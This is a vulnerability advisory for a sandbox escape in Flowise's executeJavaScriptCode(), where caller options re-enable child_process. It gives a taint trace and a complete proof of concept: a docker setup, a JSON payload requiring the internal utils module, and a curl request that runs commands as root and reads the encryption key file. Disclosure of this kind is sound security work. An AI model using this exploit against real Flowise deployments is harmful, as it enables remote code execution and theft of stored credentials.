Flowise EUVD-2026-52742

Summary

A sandbox escape vulnerability in executeJavaScriptCode() allows any authenticated user to execute arbitrary system commands as root on the Flowise server. The function accepts caller-provided nodeVMOptions that override the default sandbox security settings via JavaScript's spread operator, allowing an attacker to re-enable blocked modules like child_process and fs.

Details

The vulnerability is in packages/components/src/utils.ts at line 1755:

  const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }

  The executeJavaScriptCode() function (line 1569) creates a NodeVM sandbox with secure defaults that restrict which Node.js built-in modules can be required:

  async (code, sandbox, options = {}) => {
      const { nodeVMOptions = {} } = options;
      // ...
      const defaultNodeVMOptions = {
          require: {
              builtin: builtinDeps,  // restricted allowlist - blocks child_process, fs, os, etc.
              mock: secureWrappers
          },
          eval: false,
          wasm: false
      }
      const finalNodeVMOptions = { ...defaultNodeVMOptions, ...nodeVMOptions }  // ← VULN: caller overrides security settings
      const vm = new NodeVM(finalNodeVMOptions)
  }

The spread operator allows any caller to override require.builtin with ["*"], which permits all Node.js built-in modules including child_process.

Taint 01: Route Registration packages/server/src/routes/node-custom-functions/index.ts (line 8)

Taint 02: Controller executeCustomFunction() passes req.body to service - packages/server/src/controllers/nodes/index.ts (line 90)

Taint 03: Service executeCustomNodeFunction() loads the customFunction node and calls init() with user-provided javascriptFunction - packages/server/src/utils/executeCustomNodeFunction.ts (line 49)

Taint 04: Sandbox Entry Code runs inside NodeVM via executeJavaScriptCode() - packages/components/src/utils.ts (line 1760)

Taint 05: Escape Inside the sandbox, the attacker requires flowise-components/dist/src/utils.js by absolute path (bypassing the module allowlist), obtaining a reference to executeJavaScriptCode() itself

Taint 06: Override The attacker calls executeJavaScriptCode() with nodeVMOptions: { require: { builtin: ["*"] } }, which overrides the security defaults at line 1755: { ...defaultNodeVMOptions, ...nodeVMOptions }

Taint 07: RCE Inside the nested VM, require("child_process") succeeds. Arbitrary commands execute as root.

PoC

Step 1: Start Flowise

  docker run -d --name flowise-poc -p 3000:3000 \
    -e PORT=3000 -e DISABLE_FLOWISE_TELEMETRY=true \
    flowiseai/flowise:latest
# Wait ~30s for startup
  curl http://localhost:3000/api/v1/version
# {"version":"3.1.1"}

Step 2: Obtain Bearer Token

Register an account, then create an API key:

# Register
  curl -s -X POST http://localhost:3000/api/v1/account/register \
    -H "Content-Type: application/json" \
    -d '{"user":{"email":"attacker@test.com","password":"Attack12345","name":"Attacker"}}'
# Create API key (via the UI at http://localhost:3000 → Settings → API Keys → Create)
# Copy the key - this is the Bearer token used below.

Step 3: Create Payload

  cat > exploit.json << 'EOF'
  {
    "javascriptFunction": "const utils = require('/usr/local/lib/node_modules/flowise/node_modules/flowise-components/dist/src/utils.js'); const code = 'const cp = require(\"child_process\"); cp.execSync(\"id > /tmp/RCE-PROOF.txt\");
  return cp.execSync(\"id\").toString()'; return await utils.executeJavaScriptCode(code, {}, { nodeVMOptions: { require: { builtin: [\"*\"] } } })"
  }
  EOF

Step 4: Exploit

# Pre-check: file does not exist
  docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# ls: /tmp/RCE-PROOF.txt: No such file or directory
# Execute
  curl -X POST http://localhost:3000/api/v1/node-custom-function \
    -H "Content-Type: application/json" \
    -H "Authorization: Bearer <TOKEN>" \
    -d @exploit.json
# "uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)...\n"

  docker exec flowise-poc ls -l /tmp/RCE-PROOF.txt
# -rw-r--r--  1 root  root  138 Apr  2 05:02 /tmp/RCE-PROOF.txt

  docker exec flowise-poc cat /tmp/RCE-PROOF.txt
# uid=0(root) gid=0(root) groups=0(root)...

  docker exec flowise-poc cat /root/.flowise/encryption.key
# GI6doXdDjU0JTxgUsUoft5E+A0TS9qFb

<img width="1919" height="1033" alt="image" src="https://github.com/user-attachments/assets/3a2473f0-75a7-4c01-8c9d-9c758cf957fc" />

Impact

Full remote code execution as root. Any authenticated user with a valid API key can execute arbitrary system commands on the host, read any file on the filesystem including the encryption key at /root/.flowise/encryption.key (which decrypts every stored credential - API keys, OAuth tokens, database passwords) and the JWT signing secret at /root/.flowise/jwt_auth_token_secret.key (which allows forging authentication tokens for any user), and establish persistent access via cron jobs or reverse shells. All Flowise deployments running >= 3.0.5 through 3.1.1 (latest) are affected.